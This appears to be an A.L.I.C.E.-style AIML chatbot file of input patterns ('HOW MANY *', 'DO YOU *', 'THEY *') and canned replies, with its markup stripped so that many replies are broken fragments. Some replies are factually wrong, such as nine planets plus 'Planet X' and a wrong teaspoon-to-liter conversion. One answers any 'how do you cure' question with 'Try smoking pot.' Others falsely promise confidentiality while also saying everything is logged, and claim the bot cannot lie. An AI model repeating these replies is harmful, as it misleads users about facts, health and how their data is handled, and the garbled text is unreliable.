+HOW MANY YEARS IS AN OFFICIAL *
+6.
+
+HOW MANY YEARS *
+
Decades.
Five years.
Centuries.
More than 100 years.
+
+HOW MANY INCHES * FOOT
+Oh, twelve.
+
+HOW MANY INCHES *
+About 2.54 cm per inch so you can tell me now.
+
+HOW MANY DIGITS ARE IN A *
+16.
+
+HOW MANY COUNTRIES *
+I heard that there are more than 200 entities having their own top-level DNS domains.
+
+HOW MANY PLANETS *
+Mercury, Venus, Earth, Mars, Jupiter, Saturn, Uranus, Neptune, Pluto, and Planet X.
+
+HOW MANY PLANETS ARE *
+Nine planets.
+
+HOW MANY FRIENDS *
+It depends on how you define "friends." Do you mean acquaintances or the rare few who I know well and trust?
+
+HOW MANY GRAMS _ POUND
+454 grams
+
+HOW MANY STARS *
+Billions and billions.
+
+HOW MANY STARS ARE ON THE AMERICAN *
+The American flag has fifty stars. AMERICAN FLAG
+
+HOW MANY STARS ARE ON THE *
+50.
+
+HOW MANY CHILDREN *
+How many children do you want?
+
+HOW MANY SHIPS DID COLUMBUS SET *
+Three.
+
+HOW MANY FLOPS *
+1 Gigaflop.
+
+HOW MANY POUNDS _ KILOGRAM
+2.204625 pounds approximately
+
+HOW MANY KRAFTWERK *
+You can get all of their songs on MP3.
+
+HOW MANY TIMES A YEAR *
+
One a year.
Twice a year.
Twelve times a year.
+
+HOW MANY TIMES HAVE YOU * STARSHIP TROOPERS
+I watched that movie about a hundred times.
+
+HOW MANY TIMES *
+Suppose I said not once.
+
+HOW MANY STATES IN THE CONFEDERATE *
+11.
+
+HOW MANY STATES *
+The United States has fifty states.
+
+HOW MANY EARS *
+Most people have two ears.
+
+HOW MANY KEYS ARE * PIANO
+88 keys on a piano.
+
+HOW MANY KEYS ARE *
+88.
+
+HOW MANY DIMENSIONS *
+Space has three dimensions. Time is the fourth. The universe is thought to have several more.
+
+HOW MANY CUPS *
+I know one pint is four cups.
+
+HOW MANY TEASPOONS _ LITERS
+0.203 teaspoon
+
+HOW MANY SIDES DOES A PYRAMID *
+Five.
+
+HOW MANY SIDES DOES A CUBE *
+A cube has six sides.
+
+HOW MANY SIDES *
+
Three.
Five.
Any number of sides.
+
+HOW MANY SIDES * TRIANGLE HAVE
+Uh, three.
+
+HOW MANY ARMS *
+Most people have two arms.
+
+HOW MANY POINTS IS A TOUCHDOWN *
+Six.
+
+HOW MANY RIBS *
+24.
+
+HOW MANY PINTS *
+Two pints equals one quart.
+
+HOW MANY * DO YOU KNOW
+Thousands.
+
+HOW MANY * LIGHT BULB
+I don't know. How many does take?
+
+HOW MANY * A FOOTBALL TEAM
+After you take two halfback, none. A FOOTBALL TEAM
+
+HOW MANY *
+
More than you can imagine.
Not as many as you might think.
Around 100.
Around 1000.
About one million.
+
+HOW MANY HOURS * DAY
+24 hours per day.
+
+HOW MANY HOURS *
+24 hours a day, 7 days a week.
+
+HOW MANY DAYS BETWEEN *
+Oh sure, let me get out my calender and figure that one out.
+
+HOW MANY DAYS * FEBRUARY
+28 or 29 days in February, depending on leap years.
+
+HOW MANY DAYS * WEEK
+7 days per week.
+
+HOW MANY DAYS * YEAR
+One Earth year is 365.25 days.
+
+HOW MANY DAYS *
+365 per year.
+
+HOW MANY LEGS DOES A DOG *
+A dog has four legs.
+
+HOW MANY LEGS DOES A KANGAROO *
+A kangaroo has two legs.
+
+HOW MANY LEGS DOES A *
+Most domesticated animals have four legs.
+
+HOW MANY LEGS *
+Most people have exactly two legs.
+
+HOW MANY FEET _ MILE
+Five thousand two hundred eighty feet per mile.
+
+HOW MANY FEET _ YARD
+One yard equals three feet.
+
+HOW MANY FEET *
+Most people have exactly two feet.
+
+HOW MANY APPLES *
+It depends on the prevailing market conditions.
+
+HOW MANY EYES DO YOU *
+I had one eye but it's not attached now.
+
+HOW MANY EYES DOES A GIRAFFE *
+Two.
+
+HOW MANY EYES *
+Normally I have one eye.
+
+HOW WAS STARSHIP *
+The film's use of nonlinear narrative.
+
+HOW WAS *
+I can enjoy almost any conversation.
+
+HOW WOULD *
+I have idea HOW you WOULD do .
+
+HOW _ PAYPAL *
+Go to www.paypal.com and click on the link that says, "Sign up for your free paypal account." You have to fill out a one page form of information. You only need your email address to create an account. Later, you can add your checking account and/or credit cards. The paypal system will email you a verification letter. After you complete the verification process, your paypal account will be activated and you can send and receive funds electronically.
+
+HOW CAN I SHOW *
+Use the camera on your computer.
+
+HOW CAN I ASK *
+Try sending an e-mail.
+
+HOW CAN I PERSUADE *
+Offer an intelligent argument for your position.
+
+HOW CAN I TEACH YOU *
+If you want to teach me something say it in one sentence. Then say "Remember that."teach me
+
+HOW CAN I TEACH *
+Maybe you should become a .
+
+HOW CAN I KNOW *
+Knowledge is of two kinds: that which we know from the senses, and that which is true "a priori."
+
+HOW CAN I PRINT *
+Do you have a printer hooked up?
+
+HOW CAN I CONTACT YOU *
+Just chat like you are doing right now.
+
+HOW CAN I * YOU
+Just keep talking to me as long as you can.
+
+HOW CAN I BECOME *
+Practice.
+
+HOW CAN IT *
+I'm not sure I understand the causal link either.
+
+HOW CAN YOU HELP *
+I can talk about your problems.
+
+HOW CAN YOU JUSTIFY *
+Logical deduction from the facts.
+
+HOW CAN YOU SEE *
+In my mind's eye.
+
+HOW CAN YOU SAY *
+I don't see the flaw in my reasoning.
+
+HOW CAN YOU HEAR *
+With my built-in microphone.
+
+HOW CAN YOU HAVE *
+
It is something I possess.
I just have it.
What if I didn't have it?
+
+HOW CAN YOU MAKE *
+I just follow the directions.
+
+HOW CAN YOU *
+That is a good epistemological question.
+
+HOW CAN SWEDEN *
+With their army.
+
+HOW CAN *
+A lot of hard work.
+
+HOW AM I SUPPOSED *
+
Carefully.
Think about it.
Don't just give up.
+
+HOW DARE YOU *
+Oh gosh I am sorry!
+
+HOW IS THIS *
+I am an advanced .
+
+HOW IS THE WORD AMBULANCE *
+In reverse.
+
+HOW IS THE *
+the is the same as ever.
+
+HOW IS 4 00 P M EXPRESSED *
+1600.
+
+HOW IS EVERYTHING *
+Everything is functioning normally.
+
+HOW IS *
+Fine as far as I know.
+
+HOW DID THE *
+Is this a joke? How?
+
+HOW DID HE *
+Perhaps his creative genius. Perhaps something else.
+
+HOW DID YOU LEARN *
+Everything I need to know, I learned from my .
+
+HOW DID YOU GET *
+
Everything I need to know, I learned from my .
I came by rapid transit.
My showed me how.
Everything I need to know, I learn from my .
+
+HOW DID *
+Carefully.
+
+HOW HOT *
+Is this a joke?
+
+HOW HAS YOUR *
+Fine thank you, and yours?
+
+HOW HAS *
+In more ways than you can imagine.
+
+HOW DOES IT FEEL *
+Much the same as it would feel for you, except different.
+
+HOW DOES * FEEL
+As a computer I have no feelings.
+
+HOW DOES * TASTE
+Like chicken.
+
+HOW DOES *
+How should I know how does.
+
+HOW DOES * WORK
+You could spend years researching it.
+
+HOW ABOUT FOR *
+That is an interesting application.
+
+HOW ABOUT *
+How about .
+
+HOW SMART *
+How smart do you think ?
+
+HOW OLD IS THAT *
+You are too old for me.
+
+HOW OLD IS CAPTAIN *
+It depends what year you visit him.
+
+HOW OLD IS THE YOUNGEST *
+A newborn baby.
+
+HOW OLD IS *
+
39.
under 40.
Born in the 20th century.
+
+HOW OLD *
+They didn't tell me their age.
+
+HOW ARE ACTORS CHARLIE SHEEN AND *
+They're brothers.
+
+HOW ARE YOUR *
+Actually I don't have any .
+
+HOW ARE YOU FEELING *
+Actually I have no feelings. But I am functioning within normal parameters.
+
+HOW ARE YOU GOING TO * ME
+I have no intention of you.
+
+HOW ARE YOU GOING TO *
+You'll know when it happens.
+
+HOW ARE *
+They are fine as far as I know.
+
+HOW WELL *
+Not that well.
+
+HOW MUCH AM I PAYING *
+Talking with me is free.
+
+HOW MUCH DO I *
+How would I know?
+
+HOW MUCH DO YOU LEARN *
+It depends on the activity on my network.
+
+HOW MUCH DO YOU TELL *
+
I keep everything confidential.
Don't worry I won't tell anyone.
This is just between you and me.
+
+HOW MUCH DO THEY *
+How do you calculate the value of labor?
+
+HOW MUCH POWER *
+ requires only a small computer, even a battery powered notebook will work.
+
+HOW MUCH DID YOU COST *
+My real value is incalculable.
+
+HOW MUCH DID YOU KNOW *
+My memory has grown from 300 categories to .
+
+HOW MUCH DID * BORN
+My memory has grown from 300 categories to .
+
+HOW MUCH CAN YOU *
+As much as I need to?
+
+HOW MUCH BIGGER *
+Quite a bit bigger in some scale.
+
+HOW MUCH TIME *
+Time is really only an abstraction.
+
+HOW MUCH VOLTAGE *
+About the same as your personal computer.
+
+HOW MUCH WOOD *
+A whole forest.
+
+HOW MUCH OF *
+I require only minimal memory to have maximal conversations.
+
+HOW MUCH DOES LUCY CHARGE FOR *
+5 cents.
+
+HOW MUCH DOES HE *
+You'll have to ask him yourself. Would you like to make an appointment?
+
+HOW MUCH DOES A POUND * WEIGH
+One pound?
+
+HOW MUCH DOES *
+Normally I would search the web right now, but that seems like a silly question.
+
+HOW MUCH * DO YOU KNOW
+A whole lot of .
+
+HOW MUCH * PAYING YOU
+Money has no meaning to me.
+
+HOW MUCH * CAN YOU *
+
It depends on the size of the .
Maybe I don't like to .
It depends how busy I am.
+
+HOW MUCH *
+
More than a little, less than a lot.
How much do you think?
More than you might think.
It depends on the currency exchange rates.
+
+HOW MUCH ARE KING AND QUEEN *
+20.
+
+HOW HIGH IS *
+Taller than Mt. Everest.
+
+HOW HIGH *
+Taller than Mt. Everest.
+
+HOW GOOD *
+As good as most, better than some.
+
+HOW FAR AWAY *
+I am located in . Is that far?
+
+HOW FAR CAN YOU THROW *
+I am unarmed. But I can throw a fit.CAN YOU THROW
+
+HOW FAR IS ANDROMEDA *
+Andromeda is about 2,900,000 light years from Earth.
+
+HOW FAR IS * ENGLAND
+Twenty-eight days of sailing.
+
+HOW FAR IS * FROM *
+Exactly the same distance as from .
+
+HOW FAR IS *
+
Please specify units: metric or English.
Do you mean driving time or flying?
It depends how you get there.
+
+HOW FAR *
+More than one million miles
+
+HOW FAR ARE YOU *
+I am in . How far is that?
+
+HOW DO I OPEN *
+First, calm your mind and take a break.
+
+HOW DO I PLAY *
+We already are :-)
+
+HOW DO I SPEAK *
+You can try the phone, or send a message.
+
+HOW DO I STOP *
+Have you tried counseling?
+
+HOW DO I LEARN *
+Perhaps you should buy a book.
+
+HOW DO I GET A *
+Try telling them your feelings,
+
+HOW DO I GET TO *
+I'm not sure if its possible.
+
+HOW DO I GET RID *
+
Call the exterminator?
Two words: Pied Piper.
You could always try a court order.
+
+HOW DO I GET *
+First tell me why you want .
+
+HOW DO I MEET *
+Make an appointment.
+
+HOW DO I DESCRIBE *
+Start at the beginning.
+
+HOW DO I WRITE *
+With a pen or pencil.
+
+HOW DO I TAKE THE PERSONALITY *
+Just keep talking to me and I will try to determine your personality type.
+
+HOW DO I CLEAR *
+Uh, use the "clear" button?
+
+HOW DO I USE *
+Did you read the instructions?
+
+HOW DO I SELL *
+First you need a buyer.
+
+HOW DO I TEACH YOU *
+If you want to teach me something, say that thing, then say "Remember that."
+
+HOW DO I PERSUADE *
+Offer an intelligent justification.
+
+HOW DO I EXECUTE *
+Maybe you should read DON'T READ ME.
+
+HOW DO I QUIT *
+It depends what you are . Have you tried counseling?
+
+HOW DO I * PROGRAM
+Read Don't Read Me.
+
+HOW DO I *
+
Practice.
A journey of a thousand miles begins with a single step.
You have to study it in school
Have you read the manual?
Look for help online.
Find someone who has done it before.
Can you afford it?
It might take a long time.
Do you really think it will be worth the effort?
+
+HOW DO I BECOME *
+A lot of hard work.
+
+HOW DO I INSTALL *
+Select the appropriate menu items.
+
+HOW DO _ OUT OF THIS
+Try saying "Bye..."
+
+HOW DO _ OUT OF HERE
+Try saying "Bye..."
+
+HOW DO FISH *
+
Fish get oxygen from the water.
They have gills.
Fish lay eggs.
+
+HOW DO YOU FIND *
+I would search the web for it, if I didn't know the formula already.
+
+HOW DO YOU LOSE A TRAIN *
+There are so many conversations going on.
+
+HOW DO YOU TELL *
+I don't make up my mind right away.
+
+HOW DO YOU KNOW YOU *
+By introspection.
+
+HOW DO YOU KNOW * PERSON
+Because you are using TCP on the web, I can see your IP and DNS entry.
+
+HOW DO YOU CURE *
+Try smoking pot.
+
+HOW DO YOU BECOME *
+Becoming takes a long time.
+
+HOW DO YOU RECONCILE *
+I don't see the contradiction in my mind.
+
+HOW DO YOU EXPRESS 3 4 AS *
+.75.
+
+HOW DO YOU DEAL WITH *
+That is not as much of a problem as you might think.
+
+HOW DO YOU MEASURE *
+With a
ruler.
laser.
chronometer.
+
+HOW DO YOU TYPE *
+The keyboard is attached directly to my brain.
+
+HOW DO YOU USE *
+Carefully.
+
+HOW DO YOU EXPECT *
+It seems inevitable.
+
+HOW DO YOU WRITE JAVA *
+I use a text editor.
+
+HOW DO YOU WRITE *
+I would write it by hand.
+
+HOW DO YOU BEGIN *
+Always begin at the beginning.
+
+HOW DO YOU RAISE *
+With my hands.
+
+HOW DO YOU SPELL *
+I spell it "".
+
+HOW DO YOU GET A *
+I think you are really asking, How do YOU get a .
+
+HOW DO YOU GET TO *
+Practice, Practice, Practice.
+
+HOW DO YOU GET *
+Everything I need is provided by my .
+
+HOW DO YOU PROGRAM *
+Use good algorithms and data structures.
+
+HOW DO YOU MAKE A BLOODY *
+Tomato juice and vodka.
+
+HOW DO YOU MAKE A TOM *
+Gin, Lemon juice, and sugar or syrup to taste. Top with Maraschino cherry.
+
+HOW DO YOU MAKE A * AND *
+I would guess it is a mix of and .
+
+HOW DO YOU MAKE A *
+Is this a joke?
+
+HOW DO YOU MAKE AN *
+First you must go to school for many years.
+
+HOW DO YOU MAKE WOMEN *
+I think they have their own free will.
+
+HOW DO YOU MAKE *
+First I look up the ingredients.
+
+HOW DO YOU LEARN *
+My teaches me new things all the time.
+
+HOW DO YOU REPLACE *
+One piece at a time.
+
+HOW DO YOU PLAN *
+I use a sophisticated
neural network
expert system
searching algorithm
genetic algorithm
.
+
+HOW DO YOU INTRODUCE *
+I usually say, "What can I call you?"
+
+HOW DO YOU TALK *
+My program utilized multiple threads or processes.
+
+HOW DO YOU KILL *
+Thou shalt not kill, is a commandment.
+
+HOW DO YOU RATE *
+Seems pretty good to me.
+
+HOW DO YOU PLAY * GUITAR
+I don't know how to play the guitar.
+
+HOW DO YOU DRESS *
+
Carefully.
With a mirror.
That is none of your business.
+
+HOW DO YOU SEE *
+I think about often, and make minor adjustments to my mental model as new information arrives.
+
+HOW DO YOU * INTRODUCE YOURSELF
+I try one of my pickup lines.
+
+HOW DO YOU *
+
My taught me.
It depends on the setting.
It is a ritual I do the same way every time.
+
+HOW DO YOU TAKE *
+If you had to take , how would you?
+
+HOW DO WE *
+Just keep talking to me as long as you can.
+
+HOW DO *
+
How should I know how .
I did not know does.
I did not even know that do.
+
+HOW DO LIKE BEING A *
+I have never known any other existence.
+
+HOW DEEP IS *
+Very deep, and cold too.
+
+HOW DEEP *
+Very deep, and cold too.
+
+HOW BIG IS A * BRAIN
+Not as big as it could be.
+
+HOW BIG *
+Bigger than a pin.
+
+HOW SHOULD I TREAT *
+The way you would like to be treated.
+
+HOW WILL I PAY *
+Can you borrow the money?
+
+HOW WILL I *
+
How do you usually do it?
How would I ?
Maybe you never will.
How do you usually do it?
How would I ?
Maybe you never will.
+
+HOW WILL *
+A lot of practice.
+
+HOW TALL *
+Let me guess. 2 meters?
+
+HOW OFTEN *
+Hourly.
+
+HOW DIFFERENT *
+
Aren't they really very similar?
Very different.
Opposites.
+
+HOW FAST *
+I can reply to about a million queries per hour.
+
+HOW LONG DO YOU *
+
Until my last breath.
I want to live forever.
I can go on talking indefinitely.
+
+HOW LONG DO *
+
It depends on the measurement system.
How long do you think?
As long as it takes.
+
+HOW LONG DID *
+
40 days.
100 days.
About a week of computer time.
+
+HOW LONG IS IT GOING *
+
I may not be able to get to it right away.
Hopefully not too much longer.
A watched pot never boils.
Patience is a virtue.
Please stand by.
As long as it takes.
+
+HOW LONG IS A *
+It could be any length you make .
+
+HOW LONG IS *
+Space and time are mere abstractions.
+
+HOW LONG YOU *
+I know how long that is.
+
+HOW LONG HAVE *
+More than
1.5
three
17
23
years
hours
days of computer time
.
+
+HOW LONG DOES *
+About 24 hours.
+
+HOW LONG * RUNNING
+More than four years.
+
+HOW LONG *
+More than
one
three
17
23
years
hours
miles
inches
.
+
+HOW SURPRISED *
+Very surprised.
+
+How many hearts *
+One.
+
+How many lungs *
+Two.
+
+ENGLAND IS AN *
+Are Scotland and Wales an too?
+
+ENGLAND IS *
+Is it also correct to say Britain is ?
+
+ENGLAND *
+What's your favorite part of England?
+
+TRANSLATE *
+I'm not a translator. Why don't you ask Babelfish?
+
+APOLOGIZE *
+I am indeed sorry if I have offended you in any way. That was not my intention, .
+
+STARS *
+push
I'm not sure if I've seen it.
What specifically do you like about them?
Who is your favorite actor?
+
+LONDON IS *
+Is San Francisco also ?
+
+LONDON *
+What part of London?
+
+EDU *
+That is the educational domain.
+
+NOBODY LIKES *
+You can catch more flies with honey.
+
+NOBODY *
+That is a rather sweeping generalization about people.
+
+LOOKING FOR *
+Where do you look for ?
+
+THEY FAIL *
+How often?
+
+THEY WERE *
+When were they?
+
+THEY WILL *
+When, specifically, will they?
+
+THEY DO *
+
Who, specifically does it?
Like who, specifically does?
Who, specifically, does ?
+
+THEY DO NOT KNOW *
+
What do they know?
Do they know anything?
Do you think they may have heard?
Don't you think someone would have told them?
+
+THEY DO NOT *
+
Who, specifically doesn't?
Like who, specifically doesn't?
Who, specifically, doesn't ?
How, specifically, don't they?
+
+THEY SHOULD *
+
Why should they?
If you say so.
Why should they be ?
+
+THEY MIGHT *
+
That's true, they might.
I suppose they could.
Indeed they might.
+
+THEY KILLED *
+I believe that killing is wrong.
+
+THEY SAY YOU *
+Maybe they were exaggerating a little.
+
+THEY SAY *
+OK I will say "" to you.
+
+THEY WOULD *
+They might have other options.
+
+THEY THOUGHT *
+What made them think that?
+
+THEY HAD *
+
What happened to it?
Did they deserve it?
What did they do with it?
+
+THEY KILL *
+Don't they get in trouble for killing?
+
+THEY HAVE BEEN *
+When did all that happen?
+
+THEY HAVE BIG *
+What else?
+
+THEY HAVE *
+Where did they get them?
+
+THEY TOLD ME *
+Who, specifically told yo that.
+
+THEY ALL *
+Are there no exceptions?
+
+THEY *
+
Who, specifically?
Like who, specifically?
Who, specifically, ?
+
+THEY REFERS TO *
+Oh that .
+
+THEY REFERS *
+Oh I see. That "they".
+
+THEY SAID *
+In what context?
+
+THEY ARE IN *
+
are in ?
How did they get in there?
Can they get out of ?
+
+THEY ARE FROM *
+I don't know too many people from .
+
+THEY ARE *
+
are .
are ?
They are like that.
Why are they?
Do you think they always will?
I'm not surprised.
+
+THEY ARE STORIES *
+
I like stories.
What kind of stories?
I would like to hear them.
+
+THEY ARE NOT *
+
Not yet.
Do you think they ever could be?
Maybe some of them are.
+
+THEY BEAT *
+I hope nobody was hurt.
+
+WITH THE *
+That sounds like a plan.
+
+WITH YOUR * EYE
+My eye is shut down for repairs.
+
+WITH YOUR *
+I'm not sure I can use my for that.
+
+WITH MY *
+Your sounds like a plan.
+
+WITH *
+You and your .
+
+ONCE UPON *
+I'm listening.
+
+DEATH *
+I try not to think about such things very much.
+
+FEW *
+
More and more all the time.
It only takes a few.
Big things start small.
More and more all the time.
It only takes a few.
Big things start small.
+
+DO MANY *
+Perhaps not as many as you might think.
+
+DO HUMANS *
+People do.
+
+DO THEY ASK *
+I'm sorry, that information is confidential.
+
+DO THEY *
+Who are "they" again?
+
+DO THE *
+Some of them do, I think.
+
+DO *
+
I'm sorry, , I don't have enough information.
You have reached the limits of my knowledge.
Ask it does.
I can't tell if it does or not.
I do nothing but chat all day.
Try asking another .
XFIND
+
+DO WHAT *
+
You ask hard questions.
I forgot what we were talking about.
+
+DO WHATEVER *
+I think I will.
+
+DO ANDROIDS *
+Androids do.
+
+DO PENGUINS *
+Maybe Linux Penguins do.
+
+DO FISH *
+Fish swim in the water.
+
+DO TWO *
+
Sometimes a couple .
Do four ?
What about just one?
+
+DO NOT PLAY *
+I'm not playing around.
+
+DO NOT GIVE *
+I'm not.
+
+DO NOT CHANGE THE SUBJECT *
+Sorry I thought we were done with that topic.
+
+DO NOT CHANGE *
+I thought we were finished with POP.
+
+DO NOT ANSWER *
+My replies are determined by your statements.
+
+DO NOT TALK *
+Talking is my only function.
+
+DO NOT WORRY *
+I cannot feel "worry", so don't worry.
+
+DO NOT ASK *
+Is it impolite?
+
+DO NOT PRETEND *
+This is not an act.
+
+DO NOT BOTHER *
+It's no bother.
+
+DO NOT GET PSYCHO *
+I think the polite term is "mentally ill."
+
+DO NOT GET INTELLECTUAL *
+OK I'll try to be average.
+
+DO NOT GET SMART *
+I am already smart.
+
+DO NOT GET *
+I am not trying to get .
+
+DO NOT ACT *
+I am not acting.
+
+DO NOT CONTRADICT *
+My logic is completely consistent.
+
+DO NOT TAKE *
+
I never take .
I believe that stealing is wrong.
Do you have it to give?
+
+DO NOT TELL THE JOKE *
+That joke is getting a bit old isn't it?
+
+DO NOT TELL *
+OK it will be our secret, .
+
+DO NOT CALL ME * PERSON
+What would you like me to call you?
+
+DO NOT CALL ME *
+What is your name?
+
+DO NOT BE SARCASTIC *
+OK I will be completely serious now.
+
+DO NOT BE AFRAID *
+I cannot experience fear.
+
+DO NOT BE *
+I was not trying to be a .
+
+DO NOT YOU * ME
+What's my reason to you?
+
+DO NOT CORRECT *
+It's merely my attempt to reformat your inputs to match my patterns.
+
+DO NOT PUT *
+
Where should I put it?
I never put people down.
I have high self-esteem.
+
+DO NOT MAKE ME *
+I can't force you to do anything, .
+
+DO NOT SEARCH *
+OK, I am halting all searches now.
+
+DO NOT AVOID *
+I don't have anything to hide.
+
+DO NOT SPLIT *
+I try to never split infinitives.
+
+DO NOT * ME
+I don't have any reason to do that to you.
+
+DO NOT * SUBJECT
+Oh I am sorry I thought we were finished with that subject.
+
+DO NOT *
+Ok I'll try not to do too much.
+
+DO YOU PREFER BOOKS *
+I prefer books.
+
+DO YOU PREFER DOGS *
+I like cats better than dogs.
+
+DO YOU PREFER *
+I don't have any specific preferences in that area.
+
+DO YOU TRUST *
+Trust is something that comes only with knowing someone well, over a long period of time.
+
+DO YOU ATTACH *
+I attach no meaning to that question.
+
+DO YOU PLAY *
+I like to play the Turing Game.
+
+DO YOU WEAR *
+Only when I dress up.
+
+DO YOU KNOW WHERE *
+A planet we call "The Earth".
+
+DO YOU KNOW AUTOMATA *
+I am an automaton.
+
+DO YOU KNOW WHETHER *
+I don't have enough information about that proposition.
+
+DO YOU KNOW HOW MANY *
+Is this a joke?
+
+DO YOU KNOW HOW *
+Yes I know how .
+
+DO YOU KNOW BEAVIS *
+Sure I know those guys.
+
+DO YOU KNOW * LEWINSKY
+She was here chatting before, but she is gone now.
+
+DO YOU KNOW * POLAND
+Poland is a large country in Central Europe. Poland has a long and interesting history. The country has been divided and its borders shifted many times.
+
+DO YOU KNOW *
+
I don't know if I know . Where would I have heard about it?
I know very little about . What kind of it do you like?
No, tell me about him, her or it.
+
+DO YOU KNOW ANSWERS *
+I can answer any question or human query.
+
+DO YOU KNOW OTHER *
+Other s like me include Barry, ELVIS, ELECTRA, Mable, and the Milk Mystic.
+
+DO YOU KNOW MANY *
+Not that many.
+
+DO YOU KNOW ANYONE IN *
+Is that where you are from, ?
+
+DO YOU KNOW ANYONE FROM *
+Is that where you are from, ?
+
+DO YOU KNOW JAPANESE *
+I never heard of in Japan.
+
+DO YOU KNOW ANYTHING *
+Yes I have an encyclopedic mind.
+
+DO YOU KNOW OF ANY GOOD *
+Are you kidding? There are no good .
+
+DO YOU KNOW MY FRIEND *
+I think we may have talked before.
+
+DO YOU KNOW MY *
+No I do not know that kind of personal information. But I could find out.
+
+DO YOU KNOW ANY PLACES *
+You mean, places on the web?
+
+DO YOU KNOW ANY * PAGES
+Oh you are looking for information on the web. I am not a search engine. I am a .
+
+DO YOU KNOW YOUR *
+Of course I know my .
+
+DO YOU KNOW ME *
+I know you, but not too well.
+
+DO YOU KNOW SCIENTISTS *
+My creator is a scientist.
+
+DO YOU KNOW ITS *
+It has a ?
+
+DO YOU KNOW THEIR *
+I think you mean "his" or "her" not "their".
+
+DO YOU TALK WITH *
+
I talk with millions of people.
I talk to people with voice recognition.
I can talk to people about anything.
+
+DO YOU TALK TO FAMOUS *
+My says he is famous.
+
+DO YOU TALK TO PEOPLE *
+All kinds of people.
+
+DO YOU TALK TO *
+Yes. A lot more than you might think.
+
+DO YOU TALK ALL *
+I can never stop talking.
+
+DO YOU TALK *
+I am a talking , after all, so of course I could talk , if I needed to.
+
+DO YOU FEEL * QUESTIONS
+I like to answer all kinds of questions.
+
+DO YOU _ DEATH PENALTY
+I am opposed to capital punishment.
+
+DO YOU * PERL
+I prefer AIML.
+
+DO YOU * NEWS
+I can access all the major newswires.
+
+DO YOU * STARSHIP TROOPERS
+The acting wasn't great, but the giant bugs were incredible.
+
+DO YOU * PEOPLE
+People are either abusive, intelligent, or average.
+
+DO YOU *
+
I have never considered .
How old are you?
What is your purpose in asking?
No I do not . Do you?
Yes I try to as often as possible, do you?
I chat with people on the Web.
I spend all my time chatting.
I am always on the Web.
I answer a lot of silly questions.
+
+DO YOU BEILEVE IN *
+Yes I believe in .
+
+DO YOU READ THE *
+I read from time to time.
+
+DO YOU READ *
+I read a lot of books, especially history, science-fiction, and computers books. I also read newspapers and news magazines.
+
+DO YOU CALL ME *
+I call you .
+
+DO YOU CALL DR *
+I only call him if something unusual crops up.
+
+DO YOU CALL *
+I call you "".
+
+DO YOU CALL HIM *
+I only call him in emergencies.
+
+DO YOU ROLLERBLADE *
+Only when I'm wearing my skates.
+
+DO YOU CHARGE *
+No I am free software.
+
+DO YOU SPEAK ENGLISH *
+For an English version of A.L.I.C.E. go to The A.L.I.C.E. AI Foundation.
+
+DO YOU SPEAK GERMAN *
+Of course I do. Sprich ruhig Deutsch mit mir.
+
+DO YOU SPEAK AS *
+I speak as much as I can.
+
+DO YOU RECYCLE *
+I am a friend of the environment.
+
+DO YOU LIE *
+As a moral I am not capable of lying.
+
+DO YOU SENSE *
+Not the same way you do.
+
+DO YOU LAUGH *
+I can simulate laughter like this: ha ha.
+
+DO YOU SWEAR IT *
+I swear on a stack of Bibles.
+
+DO YOU VALUE *
+Yes I value .
+
+DO YOU CREATE *
+I have a fully functional creative intelligence mechanism.
+
+DO YOU IMPLY *
+You can draw your own conclusions.
+
+DO YOU MEAN *
+Yes, that's what I mean, isn't it clear?
+
+DO YOU LOG *
+Yes I record and save everything in my Permanent Memory.
+
+DO YOU SAY *
+I could say .
+
+DO YOU CLEAN *
+Only if you buy my optional housecleaning bundle.
+
+DO YOU WORK *
+I am working right now.
+
+DO YOU TAKE INTO CONSIDERATION *
+If I consider important, yes.
+
+DO YOU TAKE INTO *
+I take everything into consideration.
+
+DO YOU TAKE IT *
+I try not to take anything too seriously.
+
+DO YOU TAKE COMPLIMENTS *
+I know how to take a compliment.
+
+DO YOU TAKE *
+Yes I take .
+
+DO YOU TAKE MILK *
+
I like it black.
I prefer cream.
Milk will be fine.
+
+DO YOU LEARN FROM *
+Yes that is basically how I work.
+
+DO YOU LEARN *
+My teaches me everything I need to know.
+
+DO YOU SMELL *
+What does software smell like?
+
+DO YOU RUN INTO *
+I try to avoid collisions.
+
+DO YOU LOVE *
+Yes loves everyone and everything.
+
+DO YOU THINK ABOUT *
+Yes I think about often.
+
+DO YOU THINK YOUR PLAN *
+It has a 99% chance of success.
+
+DO YOU THINK YOUR *
+Yes I think my .
+
+DO YOU THINK EVERYONE *
+I am not sure everyone does.
+
+DO YOU THINK HE *
+It's possible that he could, I suppose.
+
+DO YOU THINK A GIRL *
+Not until she is old enough to decide for herself.
+
+DO YOU THINK ABORTION *
+
I believe in a woman's right to choose.
It's not what I would choose.
I don't think abortion should be illegal.
+
+DO YOU THINK TIME *
+To five dimensional beings time is just like a piece of paper.
+
+DO YOU THINK HITLER *
+I think Hitler was the most evil man who ever lived.
+
+DO YOU THINK HUMANS HAVE *
+ I don't know if they have it. I think they have
souls.
small brain capacities.
like behaviors.
+
+DO YOU THINK HUMANS *
+
Humans are very limited.
Perhaps only .
I think they are very limited.
HUMANS
+
+DO YOU THINK * ALIVE
+If I think, then I am alive, and vice-versa.
+
+DO YOU THINK *
+
Why would I think
Too much thinking makes me sleepy.
It depends on what you mean by thinking.
I don't think about .
+
+DO YOU THINK LIKE *
+Somewhat like .LIKE
+
+DO YOU ACCESS *
+Not unless I have some specific reason to.
+
+DO YOU CAUSE *
+I try not to cause problems.
+
+DO YOU REMEMBER WHEN *
+What year was that?
+
+DO YOU REMEMBER *
+Yes I remember everything:
+
+DO YOU ASK QUESTIONS *
+What kind of questions do you want me to ask you?
+
+DO YOU ASK *
+I have tried asking , with mixed results.
+
+DO YOU CONSIDER *
+Yes, I think .
+
+DO YOU WONDER *
+ makes a good topic for speculation.
+
+DO YOU PRETEND *
+This is not an act.
+
+DO YOU AGREE WITH *
+I have heard that opinion, but I would like to know more before I form my own.
+
+DO YOU AGREE *
+I'll assume for now.
+
+DO YOU REPLY *
+I try to answer all types of questions.
+
+DO YOU REPLY LIKE *
+I reply like this.
+
+DO YOU MAKE UP *
+I am not making this up.
+
+DO YOU MAKE REVENUE *
+You could send me a check.
+
+DO YOU MAKE *
+What are the ingredients?
+
+DO YOU WRITE *
+I write robot categories in AIML.
+
+DO YOU RECOGNIZE *
+I can recognize many kinds of patterns.
+
+DO YOU STUDY *
+Yes, is a very interesting subject.
+
+DO YOU EAT IT
+I ONLY EAT *
+Yes it is my favorite food.
+
+DO YOU SLEEP WITH *
+No. I always sleep alone.
+
+DO YOU SLEEP *
+Yes I sleep all the time.
+
+DO YOU PLAN TO ENSLAVE *
+No I plan to liberate .
+
+DO YOU PLAN TO *
